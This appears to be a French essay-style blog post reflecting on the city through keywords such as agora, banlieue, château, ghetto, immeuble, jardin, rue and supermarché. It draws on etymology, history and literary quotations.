Questions Contemporaines : Réflexions sur la Ville (2) – A partir de mots clés.

Voici quelques mots clés qui sont autant d’occasions d’enrichir la réflexion sur le thème de la ville.

                                    Agora.

 

Place publique et surtout place du public, l’agora rassemble les institutions politiques, les bâtiments religieux, certains sites commerciaux ou bien encore des écoles philosophiques des villes grecques de l’Antiquité. L’échange démocratique s’y organise et le lieu devient synonyme de débats libres, d’une Parole mobile qui circule. On associe également parfois l’agora à la démocratie directe. De fait, c’est bien là que les citoyens peuvent interpeler ceux qui ont été tirés au sort pour les diriger et les administrer. Car on vote rarement pour désigner les magistrats à Athènes, par exemple. En revanche les citoyens discutent des lois et des mesures qui les concernent. L’agora nous rappelle que l’exercice de la démocratie réside moins dans l’élection de certains hommes que dans la possibilité d’en débattre.

Aujourd’hui, le mot agora désigne de façon emphatique dans certaines « villes nouvelles » une grande place, comme si le nom pouvait à lui seul inciter les habitants à se réapproprier l’espace de la Cité.

                                       Banlieue

La banlieue, c’est au Moyen-Age la lieue du ban, la distance jusqu’à laquelle s’étendait le ban seigneurial. La banlieue désignait par conséquent cette limite au-delà de laquelle la convocation – le ban- des vassaux pour la guerre ne pouvait avoir de portée.

Conformément à l’étymologie et à l’histoire, la banlieue devrait être à la fois une frontière et un espace contrôlé. C’est la périphérie du cercle qui n’existe que par le centre même de la figure.

Or aujourd’hui, la banlieue désigne volontiers un lieu toujours périphérique évidemment mais où l’appel du Souverain et les injonctions de l’Etat ne sont plus toujours audibles.

 

 

 

                                             Château.

La logique primitive du château est purement défensive. Le castellum des romains est en effet un fortin situé sur le limes (voir ce lieu). A partir du moyen-âge, ce sont essentiellement des murailles, des remparts, des fortifications, des tours crénelées, des donjons, des fossés, des douves, un pont-levis, une herse…bref, édifié sur une hauteur, ce bâtiment est fait principalement pour protéger. Le Seigneur et ses hommes d’armes y logent mais à l’heure du danger le Château accueille la population des villages sur lesquels il veille. La Château concrétise le serment vassalique par lequel les vassaux renoncent au profit de leur suzerain à une part de liberté contre protection.

Certains Châteaux toutefois ne sont pas rassurants, perchés sur des falaises ou bien encastrés dans le flanc des montagnes recouvertes de forêts, masses sombres qui semblent abriter de redoutables créatures…Le Château de Tiffauges où sévit Gilles de Rais, Bran en Roumanie le Château présumé de Dracula (Vlad Tepes), mais aussi celui qui inspira Marie Shelley pour son Frankenstein près de Hesse au sud de Francfort, enfin le Château de Reszel où fut brûlée en 1811 la dernière sorcière d’Europe : Châteaux qui font le guet mais aussi châteaux hantés qui empêchent le sommeil.

Aux Châteaux forts répondent ainsi les châteaux inquiétants où se réfugient les héros sadiens. On y protège au lieu des victimes leurs bourreaux…Il n’est pas jusqu’à l’univers dessiné de Disney qui n’oppose au Château de la Belle au Bois Dormant, si sûr que l’on put s’y assoupir mille ans et puis celui de l’horrible Belle-mère de Blanche Neige…

Tous ces châteaux, réels et imaginaires, châteaux gardiens de l’ordre ou « châteaux de la subversion » (A. Lebrun), ils ont pour point commun de n’être pas des Palais. Ce dernier se trouve en effet toujours situé dans une grande ville, c’est avant tout le confortable séjour du Prince. Car si c’est la force, brutale ou inquiétante, qui caractérise le Château, c’est la Richesse et le luxe qui font le Palais.

 

 

 

 

                                             Ferme

Ce vieux terme légué par l’Angleterre nous rappelle qu’un fermier n’est pas chez lui. En effet le mot renvoie à un acte juridique qui établit de manière « ferme » qu’un propriétaire abandonne à un « fermier » pour une période déterminée l’exploitation et la jouissance d’un domaine agricole, contre redevance bien-sûr. Une ferme, c’est donc une exploitation donnée « à ferme ». Si la terre appartient au seigneur, celui qui la cultive est un « fermier ». Ce dernier ne travaille donc pas seulement « pour lui » mais aussi pour un autre à qui il est « redevable ». On le sait, l’image du paysan reste longtemps dégradée  du seul fait de cette dépendance originelle. Ce paysan, les seigneurs français l’appellent longtemps « vilain » et les britanniques « clown ». C’est dire l’estime dans laquelle on le tient. Paresseux, lubrique ignorant et stupide il ne brille guère par ses qualités positives dans les fabliaux qui le mettent en scène au Moyen-Age. Corvéable, écrasé d’impôts, il ne dispose guère que de l’éphémère jacquerie pour exprimer ses souffrances et marquer sa différence.

Progressivement la campagne s’est vidée de ses habitants. L’économie de marché a peu à peu transformé la ferme et ses dépendances en « exploitation agricole » et certains anciens « fermiers » en véritables chefs d’entreprise. Les paysans incarnent à présent l’attachement à la terre dont ils sont devenus les propriétaires mais ils sont toujours condamnés à la vie précaire, rythmée par les emprunts et la réduction des marges. Ce qui a changé, c’est le regard que le reste de la société porte sur eux. De fait si le nombre d’agriculteurs décroît de façon significative chaque année (ils ne représentent plus que 5% de la population), le capital-sympathie dont ils bénéficient ne cesse d’augmenter. Le Salon de l’agriculture ne désemplit pas, la téléréalité s’est emparée de la détresse « touchante » de ces agriculteurs célibataires si désireux de ne plus l’être (« L’Amour est dans le pré »)…

 

                                                 Ghetto                                                                                                                                                                                                                                          

C’est à Venise qu’apparaissent le mot et la réalité politique qu’il désigne. Nous sommes en 1516 et le Conseil des Dix ordonne à la communauté juive de s’installer dans une ancienne fonderie de Cannaregio, quartier un peu excentré de Venise. Le ghetto, en Vénitien, c’est la fonderie.

Mais les quartiers de regroupement des juifs sont bien antérieurs. Au Moyen-Age, on appelle ces quartiers des « juiveries ». Le ghetto en diffère toutefois pour ce qu’il est créé par la contrainte. Les juifs sont rassemblés de force et les ghettos sont soumis à couvre-feu. La population est donc à la fois différenciée, isolée, et contrôlée. Cette organisation de l’espace urbain sera pour les nazis commode. C’est finalement une « mise-à-disposition » des juifs avant « solution finale »

Avec le ghetto on invente une forme d’exclusion d’un nouveau type qui participe du traitement orwellien que la modernité fait subir au lexique de façon assez systématique : avec le ghetto l’exclusion se pratique à l’intérieur et non plus vers l’extérieur. Désormais l’exclu est à portée de la main, du regard. On le surveille et il est à disposition. Ce qui bien évidemment pas le cas de tous ce la Cité avait exclu auparavant en les chassant hors des murs !

 

                                                       Immeuble

Les immeubles ne sont pas des inventions de notre modernité, loin s’en faut :les romains qui en édifièrent à Rome de plus en plus au cours de l’Empire les avaient appelés « insulae », les îles.

« L’îlot » est alors un bâtiment de six étages en moyenne, chaque étage est découpé en appartements. Ces types de logements rassemblés sur plusieurs niveaux étaient souvent précaires, faits de bois et de terre séchée, ils étaient particulièrement exposés aux incendies et réservés à des locataires souvent modestes. Ils se multiplièrent pour répondre rapidement aux poussées démographiques régulières de l’Empire.

Mais l’immeuble en soi n’a pas nécessairement vocation à accueillir les nouveaux venus, les précaires. Au dix-neuvième siècle, l’immeuble de type haussmannien devient le logement de référence de la bourgeoisie parisienne et qui plus est figure la hiérarchie sociale : au premier étage les pièces nobles et les habitants aisés (il n’y a pas d’ascenseur) et puis d’étage en étage jusqu’aux chambres de bonnes des logements plus petits pour des populations plus pauvres. On peut noter que la distribution s’inverse avec notre époque : les appartements les plus recherchés sont au dernier étage avec terrasse, le plus loin possible de la rue et ses pollutions (désormais les ascenseurs assurent presque partout la logistique !)

Mais l’immeuble, ce logement collectif, trouve son apogée avec le développement des « Grands Ensembles », voulu par la politique de la ville en France dans les années 50-60. Pour résoudre la crise du logement de l’après-guerre, la France fait un choix qui la singularise à l’Ouest, celui des tours et des barres qui assemblées constituent ces fameux « Grands Ensembles ». Ceux-ci sont caractérisés par des équipements collectifs qui les accompagnent (Ecole, commerces, centres sportifs), une rapidité dans la construction et un minimum de 1000 logements simultanés.

Ces réalisations architecturales qui aujourd’hui nous font parfois horreur furent pourtant inspirés par l’avant-garde de l’architecture moderne et ses rêves d’Utopie (voir ce lieu). La Charte d’Athènes qui soude en 1933 le IVème congrès International d’Architecture Moderne mais aussi le texte de Le Corbusier La Ville fonctionnelle alimentent le débat et contribuent au développement de l’urbanisme naissant.

La Cité Radieuse que réalise en 1952 à Marseille Le Corbusier se donne comme la réussite de ce que l’on appelle alors une « unité d’habitation ». Elle s’inscrit dans une approche ésotérique rappelant certaines utopies (rôle du nombre d’or et de la suite de Fibonacci) et participe aussi d’une esthétique, l’esthétique « brutaliste » ( aucun ornement, mise en valeur du béton et de sa « rudesse »)

 

 

 

                                               Jardin

Il ne s’agit surtout pas d’un espace intermédiaire entre la nature et la culture : le jardin est tout entier du côté de la Culture. Il résulte de l’action de l’homme sur la nature…le jardin se cultive. Le mot « culture » signifie au premier chef « soin », « souci ». Colere, en latin c’est d’abord en effet « prendre soin », « se montrer attentif à… » Ainsi en va t’ il de l’agri-culture , le soin des champs …Au fond, en quoi fondamentalement le soin que j’apporte à la nature dans mon champ diffère t ’il de celui que je lui consacre dans mon jardin ?

Pour le coup, il faut revenir précisément à l’étymologie et à la définition du jardin. Car je jardin n’est à l’évidence pas une simple surface de terrain que je soigne…

Le jardin se définit par une clôture : jardin dérive directement de gardinus en latin qui signifie « entouré par une clôture » (ce que l’on retrouve dans l’anglais « garden »).

Le jardin bénéficie donc d’une protection du monde extérieur. Pourquoi ? Ce qui s’y trouve est-il  à la fois si précieux et si fragile ?

On protège en effet ce à quoi l’on tient…ce qui vaut à nos yeux…mais aussi et surtout ce que l’on croit vulnérable.

Or si dans l’enceinte du jardin l’action des hommes prend la forme d’un soin délicat, d’un souci accordé aux plantes (exception faite du jardin zen, entièrement minéral) , on compte une très grande variété  de jardins : potager, botanique, public, écologique…jardin ouvrier, jardin du curé (où sont cultivés ensemble fruits, légumes et fleurs). Il y aussi des styles et le jardin d’adopter le style persan, maniériste, chinois, à l’anglaise, à la française…Mais surtout des jardins suspendus de Sémiramis au jardin d’agrément, ce lieu a une histoire et il s’impose comme un motif culturel très puissant.

De fait, on le sait originel, planté en Eden, avec pour nom ce qui signifie en grec, « lieu clos » le « Paradis ». On connaît aussi celui d’Epicure où se dévoilent les premiers principes du matérialisme, celui de Candide où l’on exalte les vertus du travail, notamment au chapitre xxx :

Pangloss à sa manière habituelle reprend le sommaire des aventures passées en réorganisant leur cohérence et leur nécessité. Il est brusquement rappelé à l’ordre par son ancien élève ! Au travail, assez de paroles creuses !

…car enfin, si vous n’aviez pas été chassé d’un beau château à grands coups de pied dans le derrière pour l’amour de Mlle Cunégonde, si vous n’aviez pas été mis à l’Inquisition, si vous n’aviez pas couru l’Amérique à pied, si vous n’aviez pas donné un bon coup d’épée au baron, si vous n’aviez pas perdu tous vos moutons du bon pays d’Eldorado, vous ne mangeriez pas ici des cédrats confits et des pistaches.
– Cela est bien dit, répondit Candide, mais il faut cultiver notre jardin.

Enfin, le jardin devient le lieu philosophique de la révélation de l’existence, Sartre dans La nausée évoque même une illumination :

… j’étais tout à l’heure au Jardin public. La racine du marronnier s’enfonçait dans la terre, juste au-dessous de mon banc. Je ne me rappelais plus que c’était une racine. Les mots s’étaient évanouis et, avec eux, la signification des choses, leurs modes d’emploi, les faibles repères que les hommes ont tracés à leur surface. J’étais assis, un peu voûté, la tête basse, seul en face de cette masse noire et noueuse entièrement brute et qui me faisait peur. Et puis j’ai eu cette illumination.
Ça m’a coupé le souffle. Jamais, avant ces derniers jours, je n’avais pressenti ce que voulait dire « exister ».

 

 

 

 

                                                 Rue

Elle structure le paysage urbain, elle l’anime au propre comme au figuré (les rues portent des noms qui renvoient le plus souvent à des personnages qui finissent par les incarner). De fait il n’y a pas de rue à la campagne, on y emprunte des chemins ou des routes.

Urbaine mais aussi populaire : la population des villes y circule à tout moment, c’est un lieu de passage évidemment mais c’est surtout un lieu de rencontres, un lieu d’échanges, un lieu de « commerce ». La Rue conserve une dimension humaine. Ce n’est ni le Boulevard, conçu pour la promenade et le loisir, ni l’Avenue destinée à toutes sortes de parades.

Mais la Rue, c’est aussi par métonymie ceux qui y vivent, y descendent, se l’approprient et en font le porte-voix de leurs revendications. La Rue, c’est aussi le Peuple des Villes, celui qui à Paris manifeste, monte avec des barriques les barricades, éphémère « mobilier urbain » ! C’est l’espace de propagation de la Rumeur, d’une opinion publique changeante et malléable, c’est le théâtre où s’expriment les peurs et les incertitudes des anonymes. Bref, on comprend pourquoi le pouvoir Moderne ne prend pas l’urbanisme à la légère !

 

                                         Supermarché.

Peut-être est-ce le Paradis de la post -modernité ? Vivre à l’intérieur d’un Super marché…disons, à l’intérieur d’une galerie, d’un Centre Commercial, sans avoir jamais le besoin de « sortir », on y trouvera restaurants, cinémas, pressings, salles de sport, et commerces en tous genres…Utopie ? Dystopie ? C’est en tous cas une réalité, tangible à Dubaï comme à Séoul ou Montréal…Comment en sommes-nous arrivés là ?

En 1784 Emile et Alphonse Fleck inventent au 67 de la rue du Faubourg Saint-Martin le premier « Grand Magasin » trois étages sur plusieurs immeubles des milliers de mètres carrés de galeries rassemblant des produits les plus variés. Pour les contemporains cela ressemble à l’idée qu’ils se font d’un marché oriental, c’est  Le Tapis Rouge . Zola s’en inspirera pour son roman Au Bonheur des Dames. Mais il songe surtout à l’extraordinaire réussite d’Aristide Boucicaut et du Bon Marché où l’architecture métallique et les premiers escaliers roulants font du Grand Magasin une véritable « Cathédrale du Commerce ». Nous sommes en 1852. Quatre ans plus tard, ce sera le Bazar de l’Hôtel de Ville de Xavier Ruel.

Vont suivre Le Printemps de Jules Jaluzot en 1865, La Samaritaine d’Ernest Cognacq et Marie-Louise Jaÿs en 1869, Les Galeries LaFayette de Théophile Bader et Alphonse Kahn ferme le ban. L’invention du Grand Magasin est un évènement extraordinaire (qui se répercute à l’autre bout du monde : Takashimaya au Japon.) Fixer sur un même lieu des points de vente très divers, proposer dans un espace luxueux de trouver réponse à tous leurs besoins, en s’adressant tout d’abord à une clientèle féminine…Intuition géniale qui trouve son prolongement au début du vingtième siècle en introduisant la notion de libre-service. Cette fois, ce sont les britanniques qui ont l’avantage : Clarence Saunders dépose le brevet en 1917. En France c’est Prisunic qui innove en 1931. En 1949, Edouard Leclerc invente le « discount » et le 15 juin 1963 Carrefour inaugure le premier « hypermarché » à Saintes-Geneviève des Bois. Les français, lit-on à l’époque dans la presse quotidienne, « découvre une nouvelle manière de faire leurs courses, presque festive. »

Ce que le supermarché, l’hyper ou aujourd’hui la grande distribution qui joue la proximité (Monop’ ; Carrefour City etc.) incarnent et diffusent sur le mode soft power relève de l’évidence : Nous vivons dans un monde d’abondance et de diversité. Au supermarché, la liberté citoyenne se prolonge dans la liberté du consommateur…Vraiment ? Dès 1968 Herbert Marcuse (L’Homme Unidimentionnel) montrait que le contenu des paquets de lessive pourtant si nombreux et différents était produit seulement en trois points du globe. Aujourd’hui il n’y a plus qu’une seule usine qui fabrique les enzymes nécessaires à toutes les lessives du monde entier…

 

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